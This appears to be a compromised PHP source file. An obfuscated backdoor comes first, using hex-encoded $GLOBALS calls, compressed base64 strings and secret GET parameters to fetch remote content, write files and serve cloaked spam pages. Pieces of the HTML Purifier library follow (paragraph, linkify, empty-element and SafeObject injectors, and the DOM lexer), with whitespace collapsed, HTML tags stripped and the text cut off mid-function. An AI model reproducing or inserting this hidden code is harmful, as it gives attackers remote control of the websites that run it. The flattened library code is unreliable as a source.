=$OO0_O0O__0.$OO_O0_00_O;}$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30\x30"]($OO0___O0O0);$OO_00_OO0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x30\x4f\x5f\x5f\x5f\x4f"](\'|\',$O0_0_OOO_0);$O__O0O_O00=\'end\';for($O0OO_0O__0=0;$O0OO_0O__0<${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30"]($OO_00_OO0_);$O0OO_0O__0++){$OO__0O0O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30"]($O_0OO0O__0,$O__0O_O0O0,$OOO0_0_0_O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x4f\x4f\x30\x4f\x30"](\'Y-m-d h:i:s\')),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($OO_O0_00_O.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($OO_00_OO0_[$O0OO_0O__0])),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O_0_0OOO0_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($O0OO_0O__0pps) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O_000OO__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($OO__0O00_O),$O0OO_0_0_O,$O__OO00O_0,0);$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30\x30"]($OO__0O0O_0);$O_OO00O__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'09coyhTk/KLynW1NPSK6koUdEtPHAA==\');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O0_0_OOO_0,$O__OO0O_00)&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f"]($O_OO00O__0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($OO_00_OO0_[$O0OO_0O__0]))){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"]($O__OO0O_00,\'\',$O0_0_OOO_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x5f\x30\x5f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($OO_00_OO0_[$O0OO_0O__0]),$O0_0_OOO_0);echo ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($OO_00_OO0_[$O0OO_0O__0]).\'
\';}else if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O0_0_OOO_0,$O__OO0O_00)){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"]($O__OO0O_00,\'\',$O0_0_OOO_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x5f\x30\x5f\x4f"]($OO0_O0O__0.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($OO_00_OO0_[$O0OO_0O__0]),$O0_0_OOO_0);echo $OO0_O0O__0.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($OO_00_OO0_[$O0OO_0O__0]).\'
\';}}echo $O__O0O_O00;unset($O0_0_OOO_0,$OO_00_OO0_,$OO0_O0O__0);exit();}$O_0OO0O__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30"]($O_0OO0O__0,$O__0O_O0O0,$OOO0_0_0_O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x4f\x4f\x30\x4f\x30"](\'Y-m-d h:i:s\')),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O0O0__O_0O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O_0_0OOO0_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($O0OO_0O__0pps) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O_000OO__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($OO__0O00_O),$O0OO_0_0_O,$O__OO00O_0,0);$O_O000_O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x5f\x4f\x30\x4f"]("/%host%/si",$OO0O___O00,$O_O000_O_O);$O_O000_O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30"]($O_O000_O_O,$O__0O_O0O0,$OOO0_0_0_O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x4f\x4f\x30\x4f\x30"](\'Y-m-d h:i:s\')),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O0O0__O_0O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O_0_0OOO0_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($O0OO_0O__0pps) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($O_000OO__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30"]($OO__0O00_O),$O0OO_0_0_O,$O__OO00O_0,1);if(isset(${"\x5f\x47\x45\x54"}["\x78\x78\x6e\x65\x77\x32\x30\x31\x38\x5f\x75\x72\x6c\x31"])){echo $O_0OO0O__0;exit();}if(isset(${"\x5f\x47\x45\x54"}["\x78\x78\x6e\x65\x77\x32\x30\x31\x38\x5f\x75\x72\x6c\x32"])){echo $O_O000_O_O;exit();}if(isset(${"\x5f\x47\x45\x54"}["\x77\x65\x62\x6d\x61\x73\x74\x65\x72\x73\x5f\x75\x72\x6c"])){$O0O0__OO0_=${"\x5f\x47\x45\x54"}["\x77\x65\x62\x6d\x61\x73\x74\x65\x72\x73\x5f\x75\x72\x6c"];$O__OO0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'yygpKhTSi20tcvLy/XS8/PT89J1UvOz9UvT03KTSwuSS0q1i/OLEnNTSwo1i/IzEu3h/JtPsAQ==\').$O0O0__OO0_;$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x4f\x30\x5f\x5f"]($O__OO0_0O0);echo $O0_0_OOO_0;exit();}$O__00OO_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'yyhJThTM7tPPBgA=\');$O__00OO_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'yyhJThTM7tPLBwA=\');if(isset(${"\x5f\x47\x45\x54"}["\x68\x74\x61\x63"])){$O_0O0__O0O=${"\x5f\x47\x45\x54"}["\x68\x74\x61\x63"];if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x5f\x30\x4f\x4f\x30\x4f"]($O_0O0__O0O)){echo $O__00OO_O0;}else{echo $O__00OO_O0;}exit();}$O_OO00O__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'09coyhTk/KLynW1NPSK6koUdEtPHAA==\');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f"]($O_OO00O__0,$O0O0__O_0O)){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30\x30"]($O_0OO0O__0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O0_0_OOO_0,$O__OO0O_00)){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"]($O__OO0O_00,\'\',$O0_0_OOO_0);$OO0O_O__00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S87PKhT0nNK9EtqSxItSpJrSjRL6ktPoAQA=\');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x5f\x30\x4f"]($OOO__0O_00);}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x5f\x30\x30\x4f"]($OO0O_O__00);echo $O0_0_OOO_0;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x4f\x30\x5f\x5f"]();}unset($O0_0_OOO_0,$O_0OO0O__0,$O0O0__O_0O,$O__0O_O0O0,$O_000OO__O,$OO__0O00_O);exit();}}$O_O_O000O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'09cozhTixJzU0s0NTT0qvIzVHtPRBwA=\');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f"]($O_O_O000O_,$O0O0__O_0O)){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30\x30"]($O_0OO0O__0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O0_0_OOO_0,$O__OO0O_00)){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"]($O__OO0O_00,\'\',$O0_0_OOO_0);$OO0O_O__00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S87PKhT0nNK9EtqSxItSpJrSjRr8jtPNAQA=\');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x5f\x30\x4f"]($OOO__0O_00);}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x5f\x30\x30\x4f"]($OO0O_O__00);echo $O0_0_OOO_0;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x4f\x30\x5f\x5f"]();}unset($O0_0_OOO_0,$O_0OO0O__0,$O0O0__O_0O,$O__0O_O0O0,$O_000OO__O,$OO__0O00_O);exit();}}if($OO__0OO00_){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30\x30"]($O_0OO0O__0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O0_0_OOO_0,$O__OO0O_00)){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"]($O__OO0O_00,\'\',$O0_0_OOO_0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x5f\x30\x4f"]($OOO__0O_00);}echo $O0_0_OOO_0;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x4f\x30\x5f\x5f"]();}unset($O0_0_OOO_0,$O0O0__O_0O,$O__0O_O0O0,$O_000OO__O,$OO__0O00_O);exit();}}if($O0O0O_0O__){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30\x30"]($O_O000_O_O);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O0_0_OOO_0,$O__OO0O_00)){$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"]($O__OO0O_00,\'\',$O0_0_OOO_0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x5f\x30\x4f"]($OOO__0O_00);}echo $O0_0_OOO_0;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O0_0OO__0O)) {${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x4f\x30\x5f\x5f"]();}unset($O0_0_OOO_0,$O0O0__O_0O,$O__0O_O0O0,$O_000OO__O,$OO__0O00_O);exit();}}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x30\x5f\x5f\x4f\x30"]();?> } else { // State 3.1.2: ...

\n\n{p} // --- // State 3.2.2: ...

\n\n
// ----- // Note: PAR cannot occur because PAR would have been // wrapped in

tags. } } } } else { // State 2.2:

  • // ---- // State 2.4:

    // --- } } /** * Splits up a text in paragraph tokens and appends them * to the result stream that will replace the original * @param string $data String text data that will be processed * into paragraphs * @param HTMLPurifier_Token[] $result Reference to array of tokens that the * tags will be appended onto */ private function _splitText($data, &$result) { $raw_paragraphs = explode("\n\n", $data); $paragraphs = array(); // without empty paragraphs $needs_start = false; $needs_end = false; $c = count($raw_paragraphs); if ($c == 1) { // There were no double-newlines, abort quickly. In theory this // should never happen. $result[] = new HTMLPurifier_Token_Text($data); return; } for ($i = 0; $i < $c; $i++) { $par = $raw_paragraphs[$i]; if (trim($par) !== '') { $paragraphs[] = $par; } else { if ($i == 0) { // Double newline at the front if (empty($result)) { // The empty result indicates that the AutoParagraph // injector did not add any start paragraph tokens. // This means that we have been in a paragraph for // a while, and the newline means we should start a new one. $result[] = new HTMLPurifier_Token_End('p'); $result[] = new HTMLPurifier_Token_Text("\n\n"); // However, the start token should only be added if // there is more processing to be done (i.e. there are // real paragraphs in here). If there are none, the // next start paragraph tag will be handled by the // next call to the injector $needs_start = true; } else { // We just started a new paragraph! // Reinstate a double-newline for presentation's sake, since // it was in the source code. array_unshift($result, new HTMLPurifier_Token_Text("\n\n")); } } elseif ($i + 1 == $c) { // Double newline at the end // There should be a trailing

    when we're finally done. $needs_end = true; } } } // Check if this was just a giant blob of whitespace. Move this earlier, // perhaps? if (empty($paragraphs)) { return; } // Add the start tag indicated by \n\n at the beginning of $data if ($needs_start) { $result[] = $this->_pStart(); } // Append the paragraphs onto the result foreach ($paragraphs as $par) { $result[] = new HTMLPurifier_Token_Text($par); $result[] = new HTMLPurifier_Token_End('p'); $result[] = new HTMLPurifier_Token_Text("\n\n"); $result[] = $this->_pStart(); } // Remove trailing start token; Injector will handle this later if // it was indeed needed. This prevents from needing to do a lookahead, // at the cost of a lookbehind later. array_pop($result); // If there is no need for an end tag, remove all of it and let // MakeWellFormed close it later. if (!$needs_end) { array_pop($result); // removes \n\n array_pop($result); // removes

    } } /** * Returns true if passed token is inline (and, ergo, allowed in * paragraph tags) * @param HTMLPurifier_Token $token * @return bool */ private function _isInline($token) { return isset($this->htmlDefinition->info['p']->child->elements[$token->name]); } /** * Looks ahead in the token list and determines whether or not we need * to insert a

    tag. * @return bool */ private function _pLookAhead() { if ($this->currentToken instanceof HTMLPurifier_Token_Start) { $nesting = 1; } else { $nesting = 0; } $ok = false; $i = null; while ($this->forwardUntilEndToken($i, $current, $nesting)) { $result = $this->_checkNeedsP($current); if ($result !== null) { $ok = $result; break; } } return $ok; } /** * Determines if a particular token requires an earlier inline token * to get a paragraph. This should be used with _forwardUntilEndToken * @param HTMLPurifier_Token $current * @return bool */ private function _checkNeedsP($current) { if ($current instanceof HTMLPurifier_Token_Start) { if (!$this->_isInline($current)) { //

    PAR1
    // ---- // Terminate early, since we hit a block element return false; } } elseif ($current instanceof HTMLPurifier_Token_Text) { if (strpos($current->data, "\n\n") !== false) { //
    PAR1PAR1\n\nPAR2 // ---- return true; } else { //
    PAR1PAR1... // ---- } } return null; } } /** * Injector that displays the URL of an anchor instead of linking to it, in addition to showing the text of the link. */ class HTMLPurifier_Injector_DisplayLinkURI extends HTMLPurifier_Injector { /** * @type string */ public $name = 'DisplayLinkURI'; /** * @type array */ public $needed = array('a'); /** * @param $token */ public function handleElement(&$token) { } /** * @param HTMLPurifier_Token $token */ public function handleEnd(&$token) { if (isset($token->start->attr['href'])) { $url = $token->start->attr['href']; unset($token->start->attr['href']); $token = array($token, new HTMLPurifier_Token_Text(" ($url)")); } else { // nothing to display } } } /** * Injector that converts http, https and ftp text URLs to actual links. */ class HTMLPurifier_Injector_Linkify extends HTMLPurifier_Injector { /** * @type string */ public $name = 'Linkify'; /** * @type array */ public $needed = array('a' => array('href')); /** * @param HTMLPurifier_Token $token */ public function handleText(&$token) { if (!$this->allowsElement('a')) { return; } if (strpos($token->data, '://') === false) { // our really quick heuristic failed, abort // this may not work so well if we want to match things like // "google.com", but then again, most people don't return; } // there is/are URL(s). Let's split the string: // Note: this regex is extremely permissive $bits = preg_split('#((?:https?|ftp)://[^\s\'",<>()]+)#Su', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); $token = array(); // $i = index // $c = count // $l = is link for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { if (!$l) { if ($bits[$i] === '') { continue; } $token[] = new HTMLPurifier_Token_Text($bits[$i]); } else { $token[] = new HTMLPurifier_Token_Start('a', array('href' => $bits[$i])); $token[] = new HTMLPurifier_Token_Text($bits[$i]); $token[] = new HTMLPurifier_Token_End('a'); } } } } /** * Injector that converts configuration directive syntax %Namespace.Directive * to links */ class HTMLPurifier_Injector_PurifierLinkify extends HTMLPurifier_Injector { /** * @type string */ public $name = 'PurifierLinkify'; /** * @type string */ public $docURL; /** * @type array */ public $needed = array('a' => array('href')); /** * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return string */ public function prepare($config, $context) { $this->docURL = $config->get('AutoFormat.PurifierLinkify.DocURL'); return parent::prepare($config, $context); } /** * @param HTMLPurifier_Token $token */ public function handleText(&$token) { if (!$this->allowsElement('a')) { return; } if (strpos($token->data, '%') === false) { return; } $bits = preg_split('#%([a-z0-9]+\.[a-z0-9]+)#Si', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); $token = array(); // $i = index // $c = count // $l = is link for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { if (!$l) { if ($bits[$i] === '') { continue; } $token[] = new HTMLPurifier_Token_Text($bits[$i]); } else { $token[] = new HTMLPurifier_Token_Start( 'a', array('href' => str_replace('%s', $bits[$i], $this->docURL)) ); $token[] = new HTMLPurifier_Token_Text('%' . $bits[$i]); $token[] = new HTMLPurifier_Token_End('a'); } } } } class HTMLPurifier_Injector_RemoveEmpty extends HTMLPurifier_Injector { /** * @type HTMLPurifier_Context */ private $context; /** * @type HTMLPurifier_Config */ private $config; /** * @type HTMLPurifier_AttrValidator */ private $attrValidator; /** * @type bool */ private $removeNbsp; /** * @type bool */ private $removeNbspExceptions; /** * @type array * TODO: make me configurable */ private $_exclude = array('colgroup' => 1, 'th' => 1, 'td' => 1, 'iframe' => 1); /** * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return void */ public function prepare($config, $context) { parent::prepare($config, $context); $this->config = $config; $this->context = $context; $this->removeNbsp = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp'); $this->removeNbspExceptions = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions'); $this->attrValidator = new HTMLPurifier_AttrValidator(); } /** * @param HTMLPurifier_Token $token */ public function handleElement(&$token) { if (!$token instanceof HTMLPurifier_Token_Start) { return; } $next = false; $deleted = 1; // the current tag for ($i = count($this->inputZipper->back) - 1; $i >= 0; $i--, $deleted++) { $next = $this->inputZipper->back[$i]; if ($next instanceof HTMLPurifier_Token_Text) { if ($next->is_whitespace) { continue; } if ($this->removeNbsp && !isset($this->removeNbspExceptions[$token->name])) { $plain = str_replace("\xC2\xA0", "", $next->data); $isWsOrNbsp = $plain === '' || ctype_space($plain); if ($isWsOrNbsp) { continue; } } } break; } if (!$next || ($next instanceof HTMLPurifier_Token_End && $next->name == $token->name)) { if (isset($this->_exclude[$token->name])) { return; } $this->attrValidator->validateToken($token, $this->config, $this->context); $token->armor['ValidateAttributes'] = true; if (isset($token->attr['id']) || isset($token->attr['name'])) { return; } $token = $deleted + 1; for ($b = 0, $c = count($this->inputZipper->front); $b < $c; $b++) { $prev = $this->inputZipper->front[$b]; if ($prev instanceof HTMLPurifier_Token_Text && $prev->is_whitespace) { continue; } break; } // This is safe because we removed the token that triggered this. $this->rewindOffset($b+$deleted); return; } } } /** * Injector that removes spans with no attributes */ class HTMLPurifier_Injector_RemoveSpansWithoutAttributes extends HTMLPurifier_Injector { /** * @type string */ public $name = 'RemoveSpansWithoutAttributes'; /** * @type array */ public $needed = array('span'); /** * @type HTMLPurifier_AttrValidator */ private $attrValidator; /** * Used by AttrValidator. * @type HTMLPurifier_Config */ private $config; /** * @type HTMLPurifier_Context */ private $context; public function prepare($config, $context) { $this->attrValidator = new HTMLPurifier_AttrValidator(); $this->config = $config; $this->context = $context; return parent::prepare($config, $context); } /** * @param HTMLPurifier_Token $token */ public function handleElement(&$token) { if ($token->name !== 'span' || !$token instanceof HTMLPurifier_Token_Start) { return; } // We need to validate the attributes now since this doesn't normally // happen until after MakeWellFormed. If all the attributes are removed // the span needs to be removed too. $this->attrValidator->validateToken($token, $this->config, $this->context); $token->armor['ValidateAttributes'] = true; if (!empty($token->attr)) { return; } $nesting = 0; while ($this->forwardUntilEndToken($i, $current, $nesting)) { } if ($current instanceof HTMLPurifier_Token_End && $current->name === 'span') { // Mark closing span tag for deletion $current->markForDeletion = true; // Delete open span tag $token = false; } } /** * @param HTMLPurifier_Token $token */ public function handleEnd(&$token) { if ($token->markForDeletion) { $token = false; } } } /** * Adds important param elements to inside of object in order to make * things safe. */ class HTMLPurifier_Injector_SafeObject extends HTMLPurifier_Injector { /** * @type string */ public $name = 'SafeObject'; /** * @type array */ public $needed = array('object', 'param'); /** * @type array */ protected $objectStack = array(); /** * @type array */ protected $paramStack = array(); /** * Keep this synchronized with AttrTransform/SafeParam.php. * @type array */ protected $addParam = array( 'allowScriptAccess' => 'never', 'allowNetworking' => 'internal', ); /** * @type array */ protected $allowedParam = array( 'wmode' => true, 'movie' => true, 'flashvars' => true, 'src' => true, 'allowFullScreen' => true, // if omitted, assume to be 'false' ); /** * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return void */ public function prepare($config, $context) { parent::prepare($config, $context); } /** * @param HTMLPurifier_Token $token */ public function handleElement(&$token) { if ($token->name == 'object') { $this->objectStack[] = $token; $this->paramStack[] = array(); $new = array($token); foreach ($this->addParam as $name => $value) { $new[] = new HTMLPurifier_Token_Empty('param', array('name' => $name, 'value' => $value)); } $token = $new; } elseif ($token->name == 'param') { $nest = count($this->currentNesting) - 1; if ($nest >= 0 && $this->currentNesting[$nest]->name === 'object') { $i = count($this->objectStack) - 1; if (!isset($token->attr['name'])) { $token = false; return; } $n = $token->attr['name']; // We need this fix because YouTube doesn't supply a data // attribute, which we need if a type is specified. This is // *very* Flash specific. if (!isset($this->objectStack[$i]->attr['data']) && ($token->attr['name'] == 'movie' || $token->attr['name'] == 'src') ) { $this->objectStack[$i]->attr['data'] = $token->attr['value']; } // Check if the parameter is the correct value but has not // already been added if (!isset($this->paramStack[$i][$n]) && isset($this->addParam[$n]) && $token->attr['name'] === $this->addParam[$n]) { // keep token, and add to param stack $this->paramStack[$i][$n] = true; } elseif (isset($this->allowedParam[$n])) { // keep token, don't do anything to it // (could possibly check for duplicates here) } else { $token = false; } } else { // not directly inside an object, DENY! $token = false; } } } public function handleEnd(&$token) { // This is the WRONG way of handling the object and param stacks; // we should be inserting them directly on the relevant object tokens // so that the global stack handling handles it. if ($token->name == 'object') { array_pop($this->objectStack); array_pop($this->paramStack); } } } /** * Parser that uses PHP 5's DOM extension (part of the core). * * In PHP 5, the DOM XML extension was revamped into DOM and added to the core. * It gives us a forgiving HTML parser, which we use to transform the HTML * into a DOM, and then into the tokens. It is blazingly fast (for large * documents, it performs twenty times faster than * HTMLPurifier_Lexer_DirectLex,and is the default choice for PHP 5. * * @note Any empty elements will have empty tokens associated with them, even if * this is prohibited by the spec. This is cannot be fixed until the spec * comes into play. * * @note PHP's DOM extension does not actually parse any entities, we use * our own function to do that. * * @warning DOM tends to drop whitespace, which may wreak havoc on indenting. * If this is a huge problem, due to the fact that HTML is hand * edited and you are unable to get a parser cache that caches the * the output of HTML Purifier while keeping the original HTML lying * around, you may want to run Tidy on the resulting output or use * HTMLPurifier_DirectLex */ class HTMLPurifier_Lexer_DOMLex extends HTMLPurifier_Lexer { /** * @type HTMLPurifier_TokenFactory */ private $factory; public function __construct() { // setup the factory parent::__construct(); $this->factory = new HTMLPurifier_TokenFactory(); } /** * @param string $html * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return HTMLPurifier_Token[] */ public function tokenizeHTML($html, $config, $context) { $html = $this->normalize($html, $config, $context); // attempt to armor stray angled brackets that cannot possibly // form tags and thus are probably being used as emoticons if ($config->get('Core.AggressivelyFixLt')) { $char = '[^a-z!\/]'; $comment = "/|\z)/is"; $html = preg_replace_callback($comment, array($this, 'callbackArmorCommentEntities'), $html); do { $old = $html; $html = preg_replace("/<($char)/i", '<\\1', $html); } while ($html !== $old); $html = preg_replace_callback($comment, 